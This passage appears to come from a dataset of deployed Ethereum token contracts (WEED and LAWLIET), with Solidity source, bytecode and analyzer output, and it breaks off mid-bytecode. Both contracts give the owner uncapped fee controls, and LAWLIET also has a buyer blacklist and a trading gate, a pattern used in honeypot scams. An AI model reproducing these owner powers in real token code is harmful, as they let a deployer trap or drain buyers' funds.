event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: WeedToken.sol
/**
* 'WEED' token contract
*
* Name : W33D.FINANCE
* Symbol : WEED
* Total supply: 420,069 (420 thousand and 69)
* Decimals : 18
*
* ERC20 Token, with the Burnable, Pausable and Ownable from OpenZeppelin
*/
contract WeedToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint16 public _taxFee;
address public _vault;
address private _vaultTokenOwner;
address private _uniswapTokenOwner;
address private _presaleTokenOwner;
address private _uniswapV2Router;
modifier onlyVault() {
require(
_vault == _msgSender(),
"Ownable: caller is not vault"
);
_;
}
event ChangedTaxFee(address indexed owner, uint16 fee);
event ChangedVault(address indexed owner, address indexed oldAddress, address indexed newAddress);
event ChangedInitialMaxTransfers(address indexed owner, uint8 count);
IWeedVault weedVault;
constructor(address uniswapTokenOwner, address presaleTokenOwner, address vaultTokenOwner) public {
_name = "W33D.FINANCE";
_symbol = "WEED";
_decimals = 18;
_uniswapTokenOwner = uniswapTokenOwner;
_presaleTokenOwner = presaleTokenOwner;
_vaultTokenOwner = vaultTokenOwner;
_uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// set initial tax fee(transfer) fee as 4.20%
// It is allow 2 digits under point
_taxFee = 420;
// 420,069
// Uniswap pool 100
_mint(_uniswapTokenOwner, 2000E18);
// Farming 9900
_mint(_vaultTokenOwner, 376000E18);
// presale 1000
_mint(_presaleTokenOwner, 42069E18);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
if (_checkWithoutFee()) {
_transfer(_msgSender(), recipient, amount);
} else {
uint256 taxAmount = amount.mul(uint256(_taxFee)).div(10000);
uint256 leftAmount = amount.sub(taxAmount);
_transfer(_msgSender(), _vault, taxAmount);
_transfer(_msgSender(), recipient, leftAmount);
weedVault.addTaxFee(taxAmount);
}
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
if (_checkWithoutFee()) {
_transfer(sender, recipient, amount);
} else {
uint256 feeAmount = amount.mul(uint256(_taxFee)).div(10000);
uint256 leftAmount = amount.sub(feeAmount);
_transfer(sender, _vault, feeAmount);
_transfer(sender, recipient, leftAmount);
weedVault.addTaxFee(feeAmount);
}
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function setTaxFee(uint16 fee) external onlyOwner {
_taxFee = fee;
emit ChangedTaxFee(_msgSender(), fee);
}
function setVault(address vault) external onlyOwner {
require(vault != address(0), "Invalid vault contract address");
address oldAddress = _vault;
_vault = vault;
weedVault = IWeedVault(_vault);
emit ChangedVault(_msgSender(), oldAddress, _vault);
}
function burnFromVault(uint256 amount) external onlyVault returns (bool) {
_burn(_vault, amount);
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _checkWithoutFee() internal view returns (bool) {
if (_msgSender() == _vault || _msgSender() == _presaleTokenOwner ||
_msgSender() == _uniswapTokenOwner || _msgSender() == _vaultTokenOwner || _msgSender() == _uniswapV2Router) {
return true;
} else {
return false;
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9c6325811610071578063a9c6325814610376578063dd62ed3e14610393578063f2fde38b146103c1578063f50c01ef146103e7578063fd243da31461040857610121565b8063715018a6146102ea5780638da5cb5b146102f257806395d89b4114610316578063a457c2d71461031e578063a9059cbb1461034a57610121565b8063313ce567116100f4578063313ce5671461023357806339509351146102515780633b124fe71461027d5780636817031b1461029c57806370a08231146102c457610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e610410565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104a7565b604080519115158252519081900360200190f35b6101eb6104c5565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b038135811691602081013590911690604001356104cb565b61023b610644565b6040805160ff9092168252519081900360200190f35b6101cf6004803603604081101561026757600080fd5b506001600160a01b03813516906020013561064d565b61028561069b565b6040805161ffff9092168252519081900360200190f35b6102c2600480360360208110156102b257600080fd5b50356001600160a01b03166106aa565b005b6101eb600480360360208110156102da57600080fd5b50356001600160a01b03166107e7565b6102c2610802565b6102fa6108a4565b604080516001600160a01b039092168252519081900360200190f35b61012e6108b3565b6101cf6004803603604081101561033457600080fd5b506001600160a01b038135169060200135610914565b6101cf6004803603604081101561036057600080fd5b506001600160a01b03813516906020013561097c565b6101cf6004803603602081101561038c57600080fd5b5035610a8f565b6101eb600480360360408110156103a957600080fd5b506001600160a01b0381358116916020013516610b27565b6102c2600480360360208110156103d757600080fd5b50356001600160a01b0316610b52565b6102c2600480360360208110156103fd57600080fd5b503561ffff16610c4a565b6102fa610d07565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b505050505090505b90565b60006104bb6104b4610d7e565b8484610d82565b5060015b92915050565b60035490565b60006104d5610e6e565b156104ea576104e5848484610f3f565b6105ca565b600654600090610512906127109061050c908690610100900461ffff16611091565b906110ea565b90506000610520848361112c565b905061054286600660039054906101000a90046001600160a01b031684610f3f565b61054d868683610f3f565b600b546040805163acb55ab160e01b81526004810185905290516001600160a01b039092169163acb55ab1916024808201926020929091908290030181600087803b15801561059b57600080fd5b505af11580156105af573d6000803e3d6000fd5b505050506040513d60208110156105c557600080fd5b505050505b61063a846105d6610d7e565b6106358560405180606001604052806028815260200161142b602891396001600160a01b038a16600090815260026020526040812090610614610d7e565b6001600160a01b03168152602081019190915260400160002054919061116a565b610d82565b5060019392505050565b60065460ff1690565b60006104bb61065a610d7e565b84610635856002600061066b610d7e565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610d1d565b600654610100900461ffff1681565b6106b2610d7e565b6000546001600160a01b03908116911614610702576040805162461bcd60e51b81526020600482018190526024820152600080516020611453833981519152604482015290519081900360640190fd5b6001600160a01b03811661075d576040805162461bcd60e51b815260206004820152601e60248201527f496e76616c6964207661756c7420636f6e747261637420616464726573730000604482015290519081900360640190fd5b600680546001600160a01b0383811663010000009081026301000000600160b81b031984161793849055600b80546001600160a01b03191694829004831694851790559091041690816107ae610d7e565b6001600160a01b03167f212b71a61ed5acf0871c06f022fcb8e2670b5f32677efe666f8c2f2254337b3960405160405180910390a45050565b6001600160a01b031660009081526001602052604090205490565b61080a610d7e565b6000546001600160a01b0390811691161461085a576040805162461bcd60e51b81526020600482018190526024820152600080516020611453833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561049c5780601f106104715761010080835404028352916020019161049c565b60006104bb610921610d7e565b84610635856040518060600160405280602581526020016114dd602591396002600061094b610d7e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061116a565b6000610986610e6e565b156109a25761099d610996610d7e565b8484610f3f565b6104bb565b6006546000906109c4906127109061050c908690610100900461ffff16611091565b905060006109d2848361112c565b90506109f86109df610d7e565b600654630100000090046001600160a01b031684610f3f565b610a0a610a03610d7e565b8683610f3f565b600b546040805163acb55ab160e01b81526004810185905290516001600160a01b039092169163acb55ab1916024808201926020929091908290030181600087803b158015610a5857600080fd5b505af1158015610a6c573d6000803e3d6000fd5b505050506040513d6020811015610a8257600080fd5b5050505050600192915050565b6000610a99610d7e565b600654630100000090046001600160a01b03908116911614610b02576040805162461bcd60e51b815260206004820152601c60248201527f4f776e61626c653a2063616c6c6572206973206e6f74207661756c7400000000604482015290519081900360640190fd5b600654610b1f90630100000090046001600160a01b031683611201565b506001919050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610b5a610d7e565b6000546001600160a01b03908116911614610baa576040805162461bcd60e51b81526020600482018190526024820152600080516020611453833981519152604482015290519081900360640190fd5b6001600160a01b038116610bef5760405162461bcd60e51b815260040180806020018281038252602681526020018061139c6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610c52610d7e565b6000546001600160a01b03908116911614610ca2576040805162461bcd60e51b81526020600482018190526024820152600080516020611453833981519152604482015290519081900360640190fd5b6006805462ffff00191661010061ffff841602179055610cc0610d7e565b6001600160a01b03167f0f47c834050beff4b5f0caad993362276b6176c2c9e2a2b6feb9e8c6bad0fd1782604051808261ffff16815260200191505060405180910390a250565b600654630100000090046001600160a01b031681565b600082820183811015610d77576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610dc75760405162461bcd60e51b81526004018080602001828103825260248152602001806114b96024913960400191505060405180910390fd5b6001600160a01b038216610e0c5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600654600090630100000090046001600160a01b0316610e8c610d7e565b6001600160a01b03161480610ebb57506009546001600160a01b0316610eb0610d7e565b6001600160a01b0316145b80610ee057506008546001600160a01b0316610ed5610d7e565b6001600160a01b0316145b80610f0557506007546001600160a01b0316610efa610d7e565b6001600160a01b0316145b80610f2a5750600a546001600160a01b0316610f1f610d7e565b6001600160a01b0316145b15610f37575060016104a4565b5060006104a4565b6001600160a01b038316610f845760405162461bcd60e51b81526004018080602001828103825260258152602001806114946025913960400191505060405180910390fd5b6001600160a01b038216610fc95760405162461bcd60e51b81526004018080602001828103825260238152602001806113576023913960400191505060405180910390fd5b611006816040518060600160405280602681526020016113e4602691396001600160a01b038616600090815260016020526040902054919061116a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546110359082610d1d565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000826110a0575060006104bf565b828202828482816110ad57fe5b0414610d775760405162461bcd60e51b815260040180806020018281038252602181526020018061140a6021913960400191505060405180910390fd5b6000610d7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f1565b6000610d7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b600081848411156111f95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111be5781810151838201526020016111a6565b50505050905090810190601f1680156111eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166112465760405162461bcd60e51b81526004018080602001828103825260218152602001806114736021913960400191505060405180910390fd5b6112838160405180606001604052806022815260200161137a602291396001600160a01b038516600090815260016020526040902054919061116a565b6001600160a01b0383166000908152600160205260409020556003546112a9908261112c565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836113405760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156111be5781810151838201526020016111a6565b50600083858161134c57fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dae521cdcd860b240ff3e013d88cb17f745edd301c6d6bc0ea081388ecae967864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,003 |
0x26ab960f20839766a84606abf6a885ff7b527073
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/**
LORD L - https://t.me/LORDLETH
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LORDL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lord Lawliet";//
string private constant _symbol = "LAWLIET";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x628964fCB3d3070f0BcEb5Acb05232d533bE276e);//
address payable private _marketingAddress = payable(0x628964fCB3d3070f0BcEb5Acb05232d533bE276e);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044357806395d89b411461045957806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103ef5780638da5cb5b146104055780638f70ccf71461042357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6a565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152600c81526b131bdc990813185ddb1a595d60a21b60208201525b60405161023c9190611c9c565b60405180910390f35b34801561025157600080fd5b50610265610260366004611aba565b610689565b604051901515815260200161023c565b34801561028157600080fd5b50601554610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611a79565b6106a0565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601654610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611a06565b610709565b34801561037157600080fd5b506101fc610380366004611c36565b610754565b34801561039157600080fd5b506101fc61079c565b3480156103a657600080fd5b506102c56103b5366004611a06565b6107e7565b3480156103c657600080fd5b506101fc610809565b3480156103db57600080fd5b506101fc6103ea366004611c51565b61087d565b3480156103